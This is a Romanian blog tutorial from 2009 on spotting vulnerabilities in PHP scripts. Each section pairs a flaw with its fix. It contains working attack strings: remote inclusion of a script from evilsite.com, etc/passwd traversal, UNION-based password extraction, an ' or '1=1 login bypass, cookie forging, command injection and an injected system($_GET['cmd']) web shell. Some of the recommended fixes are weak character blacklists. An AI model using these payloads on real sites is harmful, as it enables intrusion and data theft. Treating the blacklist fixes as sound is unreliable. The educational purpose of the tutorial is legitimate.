• Acasă
  • Despre noi
  • Autori
  • Mărturii
  • Arhivă
  • Trimite Articol
  • Contact

WORLDIT

Lumea în 1 și 0.

  • Știri
    • Tehnologie
    • Tehnologie mobilă
    • Securitate
    • Developers
    • Știință
    • Benzi desenate
    • Jocuri
    • Intern
  • Tehnic
    • Browser
    • C#
    • C/C++
    • Challenge
    • HTML/CSS
    • Javascript, Ajax, jQuery
    • Open Source
    • PHP
    • Python
    • Securitate IT
    • Socializare
    • WordPress
    • Altele
  • Recenzii
  • Interviuri
  • Evenimente

Gasirea vulnerabilitatilor in scripturi PHP si rezolvarea acestora

2
  • Publicat de WorldIT Guest
  • în PHP · Tehnic
  • — 18 oct., 2009 at 5:54 pm

CO-016-0413

Cuprins :

1) Despre
2) Cateva lucruri
3) Remote File Inclusion
3.0 – Exemplu de baza
3.1 – Exemplu simplu
3.2 – Cum sa fixezi
4) Local File Inclusion
4.0 – Exemplu de baza
4.1 – Exemplu simplu
4.2 – Cum sa fixezi
5) Local File Disclosure/Download
5.0 – Exemplu de baza
5.1 – Exemplu simplu
5.2 – Cum sa fixezi
6) SQL Injection
6.0 – Exemplu de baza
6.1 – Exemplu simplu
6.2 – SQL Login Bypass
6.3 – Cum sa fixezi
7) Insecure Cookie Handling
7.0 – Exemplu de baza
7.1 – Exemplu simplu
7.2 – Cum sa fixezi
8) Remote Command Execution
8.0 – Exemplu de baza
8.1 – Exemplu simplu
8.2 – Exemplu avansat
8.3 – Cum sa fixezi
9) Remote Code Execution
9.0 – Exemplu de baza
9.1 – Exemplu simplu
9.2 – Cum sa fixezi
10) Cross-Site Scripting
10.0 – Exemplu de baza
10.1 – Alt example
10.2 – Exemplu simplu
10.3 – Cum sa fixezi
11) Authentication Bypass
11.0 – Exemplu de baza
11.1 – Prin intemediul unei variabile de login
11.2 – Admin CP neprotejat
11.3 – Cum sa fixezi
12) Insecure Permissions
12.0 – Exemplu de baza
12.1 – Citire users/passwords
12.2 – Descarcare backup-uri
12.3 – Fisierele INC
12.4 – Cum sa fixezi
13) Cross Site Request Forgery
13.0 – Exemplu de baza
13.1 – Exemplu simplu
13.2 – Cum sa fixezi

1) In acest tutorial va voi arata cum sa gasiti vulnerabilitati in scripturi php.Nu va voi explica cum
sa exploatati vulnerabilitatile,este destul de simplu si puteti gasii informatii pe internet.Toate
exemplele in afara de exemplul de baza(creat de mine pentru a va da un exemplu simplu) al fiecarei
categorii au fost gasite de mine in diferite scripturi.

2) Prima data,instalati Apache,PHP si MySQL pe computerul vostru.In plus,puteti instala phpMyAdmin.
Puteti instala WAMP,le contine pe toate.Majoritatea vulnerabilitatilor au nevoie de conditii speciale
pentru a putea fi exploatate.De aceea va trebuii sa setam corespunzator fisierul de configurare PHP
(php.ini).O sa va arat ce configuratie folosesc eu si de ce:

safe_mode = off ( restrictioneaza o gramada de chestii )
disabled_functions = N/A ( nici una,le vrem pe toate )
register_globals = on ( putem seta variabile prin request )
allow_url_include = on ( pentru lfi/rfi )
allow_url_fopen = on ( pentru lfi/rfi )
magic_quotes_gpc = off ( escapeaza ‘ ” \ si NUL cu un backslash si nu vrem asta )
short_tag_open = on ( unele scripturi folosesc short tags )
file_uploads = on ( vrem sa putem uploada )
display_errors = on ( vrem sa vedem erorile scriptului,poate niste variabile nedeclarate? )

Cum sa incepeti : Prima data,creati o baza de date care va fi folosita de diferite scripturi.Instalati
scriptul pe localhost si incepeti auditul codului php.Daca credeti ca ati gasit ceva,deschideti browserul
si verificati,poate ati gresit.

3) Remote File Inclusion

Sfaturi :

  • Puteti folosii trucul cu NULLBYTE si ?
  • Puteti folosii HTTPS si FTP pentru a trece de filtre (http filtrat)

In php sunt 4 functii prin intermediul carora se poate include cod php.

  • require – require() este identic cu include() doar ca in caz de eroare va produce o eroare fatala E_ERROR.
  • require_once – este identic cu require() cu exceptia ca PHP va verifica daca fisierul este deja inclus,si daca este,nu il va include din nou.
  • include – include si evalueaza fisierul specificat.
  • include_once – include si evalueaza fisierul specificat pe durata executiei scriptului.

3.0 – Exemplu de baza

Sfaturi :

  • unele scripturi nu accepta „http” in variabile,”http” este interzis,astfel puteti folosi „https” sau „ftp”.

Cod aflat in test.php

< ?php
   $pagina=$_GET['pagina'];
   include $pagina;
?>

• Daca accesam pagina vom primii dinste erori si avertizari(nu le-am copiat) :

Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

• Putem sa vedem ca variabila „pagina” este nedeclarata.Putem seta ce valoare vrem variabilei „pagina”.Exemplu :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

Acum o sa va arat de ce unii folosesc ? sau %00 dupa link-ul catre scriptul malitios.
• Cod aflat in test.php

< ?php
    $pagina=$_GET['pagina'];
    include $pagina.'.php';
?>

Daca facem urmatoarea cerere : http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt nu va merge deoarece scriptul va incerca sa includa http://evilsite.com/evilscript.txt.php.Deci vom adauga un NULLBYTE(%00) si tot ce se afla dupa NULLBYTE nu va fi luat in considerare.E
Exemplu :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00

Scriptul va include cu succes codul malitios si nu va lua in considerare ce se afla dupa NULLBYTE.

< ?php
         $pagina=$_GET['pagina'];
         include $pagina.'logged=1';
?>

Si logged=1 va deveni variabila.Dar mai indicat este sa folositi NULLBYTE.Exemplu : http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1
Scriptul malitios va fi inclus cu succes.
3.1 – Exemplu simplu

   if (isset($_REQUEST["main_content"])){
            $main_content = $_REQUEST["main_content"];
         } else if (isset($_SESSION["main_content"])){
            $main_content = $_SESSION["main_content"];
         }
		   .......................etc..................
		           ob_start();
          require_once($main_content);

Putem vedea ca variabila „main_content” este ceruta prin metoda $_REQUEST.Atacatorul poate seta variabilei ce valoare doreste.Mai jos,dupa variabila „main_content” se afla include,fisierul specifica de atacator prin intermediul variabilei este inclus.Deci daca facem urmatoarea cerere : http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt .Scriptul malitios va fi inclus cu succes.

3.2 – Cum sa fixezi

Metoda simpla : Nu permite caractere speciale in variabile or filter the slash „/”.
Alta metoda : Filtreaza „http”, „https” , „ftp” si „smb”.

4) Local File Inclusion

Sfaturi :

  • Puteti folosi trucul cu NULLBYTE si ?
  • ../ inseamna un director inapoi
  • Pe serverele Windows puteti folosi „..\” in loc de „../”. „..\” va devenii „..%5C” (urlencoded).
  • Aceleasi functii care iti permit sa incluzi (include,include_once,require,require_once) .

4.0 – Exemplu de baza

  
< ?php
	 $pagina=$_GET['pagina'];
	include '/pages/'.$pagina;
?>

Acum, nu putem sa includem scriptul nostru malitios pentru ca nu putem include fisiere care nu sunt aflate pe server.Putem include doar fisiere locale.Daca facem urmatoarea cerere : http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd scriptul va include „etc/passwd” cu succes. Puteti folosii %00 si ? .Aceeasi poveste.
4.1 – Exemplu simplu
Cod aflat in install/install.php

		   if(empty($_GET["url"]))
  	       $url = 'step_welcome.php';
           else
  	       $url = $_GET["url"];
		   .............etc.............
		   

< ? include('step/'.$url) ?>

Putem observa ca variabila „url” este injectabila.Daca variabila „url” nu este setata(este goala) scriptul va include „step_welcome.php” . Altfel va include fisierul cerut de atacator prin intermediul variabilei. Daca facem urmatoarea cerere : http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd fisierul „etc/passwd” va fi inclus cu succes.

4.2 – Cum sa fixezi
Simplu : Nu permite caractere speciale in variabile.Filtreaza „.” .
Alta metoda : Filtreaza „/”, „\” si „.” .

5) Local File Disclosure/Download

Sfaturi :

1. Prin intermediul acestei vulnerabilitati putem citii continutul variabilelor, nu il putem include.
2. Cateva functii care permit citirea fisierelor :

file_get_contents — Citeste intregul fisier intr-un string
readfile — Afiseaza continutul unui fisiere
file — Citeste un fisier intr-un vector
fopen — Deschide un fisier sau un URL
highlight_file — Formateaza sintaxa unui fisier.Afiseaza si returneaza sintaxa
formatata a codului continut in fisier folosind culori definite
in formaterul pentru sintaxa din PHP.
show_source — Pseudonimul lui highlight_file()

5.0 – Exemplu de baza

< ?php
	 $pagina=$_GET['pagina'];
	readfile($pagina); 
 ?>
	

Functia readfile() va citii continutul fisierului specificat.Daca facem urmatoarea cerere : http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd continutul fisierului „etc/passwd” va fi afisat.

5.1 – Exemplu simplu

		  $file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
		  header("Pragma: public");
		  header("Expires: 0");
		  header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

		  header("Content-Type: application/force-download");
		  header( "Content-Disposition: attachment; filename=".basename($file));

		  //header( "Content-Description: File Transfer");
		  @readfile($file);
		  die();

Variabila „file” nu este securizata.Putem observa in prima linie ca este ceruta prin metoda $_REQUEST.Si continutul fisierului este afisat prin intermediul functiei readfile().Deci putem vedea continutul unui fisier arbitrar. Daca facem urmatoarea cerere : http://127.0.0.1/download.php?file=../../../../../../etc/passwd putem citii cu succes fisierul „etc/passwd”.

5.2 – Cum sa fixezi
Metoda simpla : Nu permite caractere speciale in variabile.Filtreaza „.” .
Alta metoda : Filtreaza „/” , „\” si „.” .

6) SQL Injection

Sfaturi :
1. Daca utilizatorul MySQL are drepturi,putem citii fisiere.
2. Daca utilizatorul MySQL are drepturi, gasim un director cu permisiuni de scriere si daca magic_quotes_gpc = off putem uploada codul nostru intr-un fisier.

6.0 – Exemplu de baza

		  < ?php
		  $id = $_GET['id'];
          $result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
		  ?>

Variablia „id” nu este securizata.Putem injecta codul nostru SQL in variabila „id”.Exemplu : http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file(‘etc/passwd’),4– si vom obtine continutul fisierului „etc/passwd” daca magic_qoutes=off (escapeaza ‘) si daca userul MySQL are privilegii asupra fisierelor.Daca magic_qoutes=on convertim etc/passwd la hex.

6.1 – Exemplu simplu

			$id = $_GET['itemnr'];
            require_once($home."mysqlinfo.php");
            $query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals where id=$id";
            $result = mysql_query($query);
			if(mysql_num_rows($result)){
			$r = mysql_fetch_array($result);
			

Putem observa ca variabila „id” ia valoarea setata pentru „itemnr” si nu este filtrata in nici un fel. Deci putem injecta codul nostru.Sa facem o cerere : http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users– si vom extrage un email si o parola din tabelul users.

6.2 – SQL Injection Login Bypass

	    $postbruger = $_POST['username'];
            $postpass = md5($_POST['password']); 
            $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND password = '$postpass'") 
            or die("

" . mysql_error() . "

\n");

Variabilele nu sunt verificate corespunzator.Putem trece de acest form de logare.Sa injectam urmatorul username si urmatoarea parola :

username : admin ‘ or ‘ 1=1
password : sirgod

Ne-am logat cu succes.De ce?Priviti cu atentie la interogarea SQL :

$resultat = mysql_query(„SELECT * FROM ” . $tablestart . „login WHERE brugernavn = ‘admin’ ‘ or ‘ 1=1 AND password = ‘sirgod'”)

Am trecut de login.Username-ul trebuie sa fie unul existent.

6.3 – Cum sa fixezi
Metoda simpla : Nu permite caractere speciale in variabile.Pentru variabile numerice foloseste (int) ,examplu $id=(int) $_GET[‘id’];
Alta metoda: Pentru variabilele non-numerice : filtreaza toate caracterele speciale folosite in injectiile SQL/SQLI : – , . ( ) ‘ ” _ + / *

7) Insecure Cooke Handling

Sfaturi : Scrie codul in URL-bar,nu utiliza un cookie editor pentru asta.

7.0 – Exemplu de baza

		if($_POST['password'] == $thepass) {
		setcookie("is_user_logged","1");
		} else { die("Login failed!"); }
		............ etc .................
		if($_COOKIE['is_user_logged']=="1")
		 { include "admin.php"; else { die('not logged'); }

Ceva interesant aici.Daca atribuim valoarea „1” variabilei „is_user_logged” salvata in cookie vom fi logati.Exemplu :

javascript:document.cookie = „is_user_logged=1; path=/”;

Suntem logati,trecem de verificare si putem accesa panoul de admin.

7.1 – Exemplu simplu

		if ($_COOKIE[PHPMYBCAdmin] == '') {
		if (!$_POST[login] == 'login') {
		die("Please Login:
"); } elseif($_POST[password] == $bcadminpass) { setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60); header("Location: admin.php"); } else { die("Incorrect"); } }

Codul arata exploatabil.Putem seta valori variabilelor aflate in cookie pentru a trece de logare si a pacali scriptul ca ne-am logat deja. Exemplu :

javascript:document.cookie = „PHPMYBCAdmin=LOGGEDIN; path=/”;document.cookie = „1246371700; path=/”;

Ce este 1246371700? Este time() + 360 .

7.2 – Cum sa fixezi
Metoda simpla : Cea mai simpla si eficienta cale : folositi SESIUNI .

8) Remote Command Execution

Sfaturi : Daca un script foloseste exec() nu vom putea vedea rezultatul comenzii(dar comanda este executata) pana cand rezultatul nu este printat din script. Putem folosii operatorul OR ( || ) daca scriptul executa mai mult de o comanda.In PHP exista cateva comenzi prin intermediul carora putem executa comenzi :

exec — Executa un program extern
passthru — Executa un program extern si afiseaza rezultatul neprelucrat
shell_exec — Executa comanda in shell si returneaza rezultatul intreg ca un string
system — Executa un program extern si afiseaza rezultatul

8.0 – Exemplu de baza

< ?php
	 $cmd=$_GET['cmd'];
	system($cmd);
?>

Daca facem urmatoarea cerere : http://127.0.0.1/test.php?cmd=whoami comanda va fi executata si rezultatul va fi afisat.

8.1 – Exemplu simplu

		    $status = $_GET['status'];
		    $ns  = $_GET['ns'];
		    $host   = $_GET['host'];
		    $query_type   = $_GET['query_type']; // ANY, MX, A , etc.
		    $ip     = $_SERVER['REMOTE_ADDR'];
		    $self   = $_SERVER['PHP_SELF'];
		    ........................ etc ........................
		    $host = trim($host);
		    $host = strtolower($host);
		    echo("<span class=\"plainBlue\">Executing : dig @$ns $host $query_type
"); echo '<pre>'; system ("dig @$ns $host $query_type");

Variabila „ns” nu este filtrata si atacatorul poate specifica orice valoare.Un atacator poate folosi orice comanda prin intermediul acestei variabile.Sa facem o cerere :
http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging

Injectia nu va functiona.De ce?Comanda executata va fi „dig whoami sirgod.com NS” si nu va functiona desigur.Sa incercam in alt fel.Avem operatorul OR (||) si il vom folosi pentru a „separa” comenzile.Exemplu :

http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging

Comanda noastra va fi executata.Comanda va devenii „dig ||whoami|| sirgod.net NS” .

8.2 – Exemplu avansat

	   
		  $user = $_POST['user'];
		  $pass1 = $_POST['pass1'];
		  $pass2 = $_POST['pass2'];
		  $email1 = $_POST['email1'];
		  $email2 = $_POST['email2'];
		  $location = $_POST['location'];
		  $url = $_POST['url'];
		  $filename = "./sites/".$user.".php";
		  ...................etc......................
		  $html = "< ?php
		  \$regdate = \"$date\";
		  \$user = \"$user\";
		  \$pass = \"$pass1\";
		  \$email = \"$email1\";
		  \$location = \"$location\";
		  \$url = \"$url\";
		  ?>";
		  $fp = fopen($filename, 'a+');
		  fputs($fp, $html) or die("Could not open file!");

Putem observa ca scriptul creaza un fisier php in folderul „sites” (numelenostru.php) . Scriptul salveaza toate datele userului in fisierul acela deci noi vom putea injecta codul malitios intr-una din acele varaibile.Eu am ales variabila „location”. Daca ne vom inregistra ca un user cu locatia (setam valoarea variabilei „location”) :

  < ?php system($_GET['cmd']); ?>

codul aflat in /site/numelenostru.php va devenii :

           < ?php
           $regdate = "13 June 2009, 4:16 PM";
           $user = "pwned";
           $pass = "pwned";
           $email = "pwned@yahoo.com";
           $location = "";
           $url = "http://google.ro";
           ?>

Si vom primii o eroare.Nu e bine.Trebuie sa injectam un cod corespunzator pentru a primii ceea ce vrem.Sa injectam urmatorul cod :

 \";?>< ?php system(\$_GET['cmd']);?>< ?php \$xxx=\":D

Si codul aflat in sites/numelenostru.php va devenii :

           < ?php
           $regdate = "13 June 2009, 4:16 PM";
           $user = "pwned";
           $pass = "pwned";
           $email = "pwned@yahoo.com";
           $location = "";?>< ?php system($_GET['cmd']);?>< ?php $xxx=":D";
           $url = "http://google.ro";
           ?> 

si nu vom avea nici o eroare.De ce?Observati codul :

  $location = "";?>< ?php system($_GET['cmd']);?>< ?php $xxx=":D";

Sa-l impartim in bucati :

         $location = "";
         ?>
         < ?php system($_GET['cmd']);?>
         < ?php $xxx=":D";

Setam variabilei "location valoarea ""(nimic),inchidem primele taguri php, deschidem tagurile php din nou,scriem codul nostru malitios,inchidem tagurile si deschidem altele si adaugam o variabila "xxx" pentru a termina frumos codul si a nu avea vreo eroare.Am folosit acest cod pentru a nu primii nici o eroare,el putea fi mai simplu,dar ar fi aparut niste erori si mai bine l-am mai complicat putin. Si daca facem urmatoarea cerere : http://127.0.0.1/sites/ourusername.php?cmd=whoami comanda noastra va fi executata cu succes.

8.3 - Cum sa fixezi
Metoda simpla : Nu permiteti accesul utilizatorilor .
Alta metoda : Utilizati functiile escapeshellarg() si escapeshellcmd() .

9) Remote Code Execution

9.0 - Exemplu de baza

 < ?php
	$code=$_GET['code'];
	eval($code); 
 ?>

Functia „eval” evalueaza un string ca cod PHP.In acest caz,putem executa cod PHP.
Exemplu :

http://127.0.0.1/test.php?code=phpinfo();
http://127.0.0.1/test.php?code=system(whoami);

Si vom obtine rezultatul codului PHP injectat de catre noi.

9.1 – Exemplu simplu

		  $conf = array_merge($conf,$confweb);
		  }
		  @eval(stripslashes($_REQUEST['anticode']));
          if ( $_SERVER['HTTP_CLIENT_IP'] )

Putem vedea ca valoarea variabilei”anticode” este ceruta prin metoda $_REQUEST si coderul a „securizat” variabila cu ajutorul functiei „stripslashes” care este nefolositoare in cazul nostru,deoarece nu ne trebuie slash-uri pentru a executa codul nostru php decat daca vrem sa includem un URL.Exemplu :

http://127.0.0.1/test.php?anticode=phpinfo();

Frumos,injectia a avut loc cu succes,rezultatul codului php ne este afisat. Fara include pentru ca slash-urile sunt filtrate dar putem executa comenzii cu ajutorul functiei system().

9.2 – Cum sa fixezi

Metoda simpla : Nu permiteti „;” si codul php va devenii invalid.
Alta metoda : Nu permiteti caractere speciale ca „(” sau „)” etc.

10) Cross-Site Scripting

Sfaturi :
Puteti folosii o multime de vectori,puteti incerca o gramada de metode de a trece peste protectii,ii puteti puteti gasii pe internet.

10.0 – Exemplu de baza

< ?php
	$name=$_GET['name'];
	print $name;
 ?>

Inputul nu este filtrat,un atacator poate injecta cod JavaScript.Exemplu : http://127.0.0.1/test.php?name=<script>alert(„XSS”)</script> . Un popup cu mesajul XSS va fi afisat.Codul JavaScript a fost executat cu succes.

10.1 – Alt exemplu

< ?php
	$name=addslashes($_GET['name']);
    print '<table name="'.$name.'"></table>';
?>

Nu este un exemplu avansat,doar putin mai complicat ca primul.http://127.0.0.1/test.php?name=”><script>alert(String.fromCharCode(88,83,83))</script>
De ce am scris codul JavaScript asa?Folosim ” pentru a inchide ” de la atributul „name” al tagului „table” si > pentru a inchide tagul „table”.De ce String.fromCharCode?Pentru ca vrem sa trecem de addslashes().Injectia a avut loc cu succes.

10.2 – Exemplu simplu

		   if (isset($name)) {
		   .................... etc................
		   } else {
		   die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");

Variabila „name” este injectabila,inputul nu este filtrat deci putem injecta cu usurinta codul nostru JavaScript.Exemplu :

http://127.0.0.1/test.php?name=<script>alert(„XSS”)</script>

10.3 – Cum sa fixezi

Metoda simpla : Folositi functiile htmlentities() sau htmlspecialchars() .
Alta metoda : Filtreaza toate caracterele speciale folosite la XSS( o multime ).

11) Authentication Bypass

Sfaturi : Uitati-va cu atentie in scripturi,in foldere administrative,poate nu sunt protejate,si cautati variabile nedefinite ca „login” sau „auth”.

11.0 – Exemplu de baza

Va voi prezenta un exemplu simplu.Veti vedea cum sa treceti de login prin metoda „variabilei de login”.

 < ?php
	if ($logged==true) {
	 echo 'Logged in.'; }
	 else {
	 print 'Not logged in.';
    }
?>

Aici avem nevoie de register_globals = on.Daca setam variabilei „logged” valoarea 1 conditia va devenii adevarata si vom fi logati. Exemplu : http://127.0.0.1/test/php?logged=1 .Si ne-am logat cu succes.

11.1 – Prin intemediul unei variabile de login

		 if ($login_ok)
		 {
		 $_SESSION['loggato'] = true;
		 echo "<p>$txt_pass_ok</p>";
		 echo"<div align='center'><a href='index.php'>$txt_view_entry</a> | 
		 <a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
		 </a></div>";
		 }

Sa vedem.Daca valoarea variabilei „login_ok” este TRUE ( 1 ) scriptul ne va seta o sesiune care spune scriptului ca suntem deja logati.Deci sa setam valoarea TRUE variabilei „login_ok”.
Exemplu : http://127.0.0.1/login.php?login_ok=1 Si suntem logati.

11.2 – Admin CP neprotejat
Poate nu va vine sa credeti dar in unele scripturi panoul de control al administratorului nu este protejat in nici un fel : fara logare, fara .htaccess, nimic.Si simplu accesam panoul de admin si preluam controlul asupra site-ului.Exemplu : http://127.0.0.1/admin/files.php Am accesat panoul de control cu o simpla cerere.

11.3 – Cum sa fixezi

Variabila de login : Folositi un sistem de autentificare REAL,nu verificati daca logarea a avut loc in modul acesta.Exemplu :

		   
    if($_SESSION['logged']==1) {
    echo 'Logged in'; }
    else { echo 'Not logged in';
    }

Admin CP neprotejat : Folositi un sistem de autentficarea sau .htaccess pentru a permite accesul pe baza de adresa IP sau .htpasswd pentru a cere un username si o parola pentru panoul de control.Exemplu :

.htaccess :

order deny, allow
deny from all
allow from 127.0.0.1

.htpasswd :

AuthUserFile /the/path/.htpasswd
AuthType Basic
AuthName „Admin CP”
Require valid-user

and /the/path/.htpasswd

sirgod:$apr1$wSt1u…$6yvagxWk.Ai2bD6s6O9iQ.

12) Insecure Permissions

Sfaturi : Uitati-va cu atentie in scripturi,verificati daca scriptul cere autentificare pentru a face diferite lucruri(e.g backup). Uitati-va dupa permisiuni nesigure,poate putem face lucruri administrative fara a fi logati ca admin.

12.0 – Exemplu de baza

Ne gandim la un script care lasa administratorul sa vada continutul bazei de date prin intermediul unui fisier plasat in folderul /admin .Acel fisier sa aiba numele : db_lookup.php .

< ?php
	// Lookup in the database
	readfile('protected/usersdb.txt');
?>

Sa ne gandim.Nu putem accesa folderul „protected” pentru ca este protejat de .htaccess.Dar sa ne uitam la fisierul acesta.Nu verifica daca suntem logati,nimica.Deci daca facem urmatoarea cerere : http://127.0.0.1/admin/db_lookup.php putem vedea baza de date.Tineti minte,acesta este un exemplu creat de mine, nu unul real,dar puteti gasii vulnerabilitati de genul acesta in scripturi.

12.1 – Citire users/passwords

Da,unii programatori sunt de-a dreptul idioti.Salveaza utilizatorii si parolele in fisiere text,NEPROTEJATE.Un exemplu dintr-un script : http://127.0.0.1/userpwd.txt si putem citii fisierul,utilizatorii si parolele lor se afla acolo.

12.2 – Descarcare backup-uri

Unele scripturi au functia de backup al bazei de date.Unele sunt sigure,altele nu. O sa va arat un exemplu real :

	 function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {  
     $con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");  
     $db=@mysql_select_db($dbname,$con) or die("Could not select db");
     .............................. etc ..........................
      mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);

Dupa o gramada de cod,functia este apelata.Nu am copiat tot codul pentru ca este urias.Am analizat scriptul,nu este necesar login,nu este nici o verificare,nimic. Deci daca accesam fisierul direct backup-ul bazei de date va incepe.Exemplu : http://127.0.0.1/adminpanel/phpmydump.php. Acum avem backup-ul bazei de date salvat la noi pe computer.

12.3 – Fisierele INC

Unele scripturi salveaza date importante in fisiere INC.De obicei in fisierele INC se afla cod PHP care contine datele de conexiune la baza de date.Fisierele INC pot fi vizualizate in browser,chiar daca contin cod PHP.Cu o simpla cerere vom avea aces la fisier.Exemplu : http://127.0.0.1/inc/mysql.inc. Acum avem detaliile de conexiune la baza de date.

12.4 – Cum sa fixezi

Exemplu de baza : Verificati daca administratorul este logat,daca nu,redirectionati.
Citire users/passwords : Salvati inregistrarile intr-o baza de date MySQL sau intr-un fisier/folder protejat.
Descarcare backup-uri : Verificati daca administratorul este logat,daca nu,redirectionati.
Fisierele INC : Salvati datele de conexiune in fisiere php sau protejati folderul cu .htaccess .

13) Cross Site Request Forgery

Sfaturi : Prin intermediul CSRF putem chiar schimba parola de administrator.Poate fi folosit prin intermediul XSS,redirectionare.

13.0 – Exemplu de baza

	   
     < ?php
     check_auth();
     if(isset($_GET['news']))
     { unlink('files/news'.$news.'.txt'); }
     else { 
     die('File not deleted'); }
     ?>

In acest exemplu veti vedea ce este CSRF si cum functioneaza.In folderul „files” sunt salvate stirile scrise de un autor.Stirile sunt salvate in modul „news1.txt”,”news2.txt” etc.Administratorul poate sterge stirile. Stirile pe care vrea sa le stearga vor fi precizate prin intermediul variabilei „news”.Daca vrea sa stearga „news1.txt” valoarea variabilei „news” va fi „1”.Nu putem executa asta fara permisiuni de administrator, scriptul verifica daca administratorul este logat.Daca facem urmatoarea cerere : http://127.0.0.1/test.php?news=1 fisierul /news/news1.txt va fi sters.Scriptul sterge direct fisierul fara nici o avertizare.Putem folosi asta pentru a sterge un fisier.Tot ce trebuie sa facem este sa convingem adminul sa acceseze link-ul nostru si fisierul corespunzator valorii variabilei setate de noi va si sters.

13.1 – Exemplu simplu

Intr-un fel codurile de mai jos sunt incluse in index.php, nu voi copia aia toate incluziunile pentru ca sunt o gramada.

     if ($_GET['act'] == '') {
     include "includes/pages/admin/home.php";
     } else {
     include "includes/pages/admin/" . $_GET['act'] . ".php";

Aici putem observa cum „includes/pages/admin/members.php” este inclusa in acest fisier. Daca valoarea variabilei „act” va fi egala cu „members” fisierul acesta va fi inclus.

     if ($_GET['func'] == 'delete') {
     $del_id = $_GET['id'];
     $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
     $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
     while ($results2121 = mysql_fetch_array($result2121)) {
     $their_role = $results2121['ROLE'];
     }
     if ($their_role != '1') {
     mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
     ()); 

Putem observa ca daca valoarea variabilei „func” este egala cu „delete”, scriptul va sterge din baza de date un user caruia ii corespunde ID-ul($id) specificat fara nici o avertizare.Exemplu : http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4 .Scriptul va verifica daca adminul este logat, deci daca vom putea pacali administratorul sa acceseze link-ul nostru,utilizatorul cu ID-ul specificat de noi in link va fi sters fara nici o avertizare.

13.2 – Cum sa fixezi
Metoda simpla : Folositi token-uri.La fiecare login,generati un token random si salvati-l in sesiune.Cereti tokenul in URL pentru a executa comenzi administrative.Daca token-ul lipseste sau este incorect,nu executati actiunile.Va voi arata un exemplu :

			
    < ?php
    check_auth();
    if(isset($_GET['news']) && $token=$_SESSION['token'])
    { unlink('files/news'.$news.'.txt'); }
    else { 
    die('Error.'); }
    ?>

Cererea noastra va fi devenii : http://127.0.0.1/index.php?delete=1&token=[RANDOM_TOKEN] si cererea va fi corecta.

Alta metoda : Realizati confirmari complicate sau cereti o parola pentru a putea executa comenzi administrative.

Acest articol nu incurajeaza nici o metoda de hacking ci doar prezinta majoritatea tehnicilor vizate de hackeri. Observand cum „gandesc” hackerii puteti sa va dati seama unde codul dumneavoastra prezinta buguri sau posibile vulnerabilitati. Pentru orice nelamuriri, completari sau orice altceva nu ezitati sa va expuneti opinia.
Autor : SirGod

Etichete: Authentication BypasscsrfhackingInsecure Cookie HandlingInsecure PermissionslfiPHPrcerfisql injectionxss

— WorldIT Guest a scris 19 articole

Contact | andrei@worldit.info | @worldIT Salut , ma numesc WorldIT Guest si sunt robotelul ce scrie articolele persoanelor ce doresc sa ajute dezvoltarea proiectului prin crearea articolelor guest. Mai multe detalii despre cum poti sa-mi trimiti un articol, aici.

  • Articolul anterior Scanerul care vede prin haine
  • Articolul următor Google va oferi Internet wireless gratuit pe zborurile companiei Virgin America

2 Comentarii

  1. SirGod spune:
    octombrie 18, 2009 la 6:05 pm

    Aveti si varianta in engleza aici : http://milw0rm.com/papers/381

  2. Cum sa te protejezi de atacurile Cross-site request forgery(CSRF)? | WorldIT spune:
    noiembrie 28, 2009 la 10:05 pm

    […] cum le detectam,cum le declansam si cum ne protejam eficient.Daca va mai aduceti aminte despre un articol scris cu ceva vreme in urma de SirGod, el a prezentat si acest gen de atac web.Din pacate,datorita volumului mare de informatie ce a vrut […]


  • Facebook

    WorldIT.info
  • Ultimele Atacuri Cibernetice din Romania – RO Hacked

    [wp_rss_retriever url="https://rohacked.bit-sentinel.com/feed/" excerpt="none" items="5" read_more="false" new_window="true" thumbnail="false" cache="0"] RO Hacked este registrul atacurilor cibernetice din România.
  • Caută

  • Articole Recomandate

    • Recent Posts
    • Tags
    • Număr record de participanți la DefCamp 2015, cel mai important eveniment dedicat securității cibernetice din Europe Centrala si de Estdecembrie 2, 2015
    • La DefCamp 2015 vei afla prin ce tehnici pot fi evitate măsurile de securitate ale sistemelor informatice criticeoctombrie 16, 2015
    • Ultima sansa sa rezervi bilete de tip Early Bird la DefCamp 2015septembrie 1, 2015
    • 15 sfaturi despre cum poti deveni un programator bun venite de la specialisti romaniaugust 4, 2015
    • algoritmica Android antivirus Apple Avadanei Andrei benzi desenate BitDefender blog browser C++ Chrome concurs eveniment Facebook Firefox Google google chrome hacking html5 infografic informatica internet Internet Explorer IT javascript linux Microsoft Mozilla Firefox online PHP programare retea sociala review Romania securitate Tehnologie Twitter web Windows Windows 7 Wordpress WorldIT worldit.info Yahoo! YouTube
  • mai 2022
    L Ma Mi J V S D
     1
    2345678
    9101112131415
    16171819202122
    23242526272829
    3031  
    « dec.    
  • Link-uri Sponsorizate

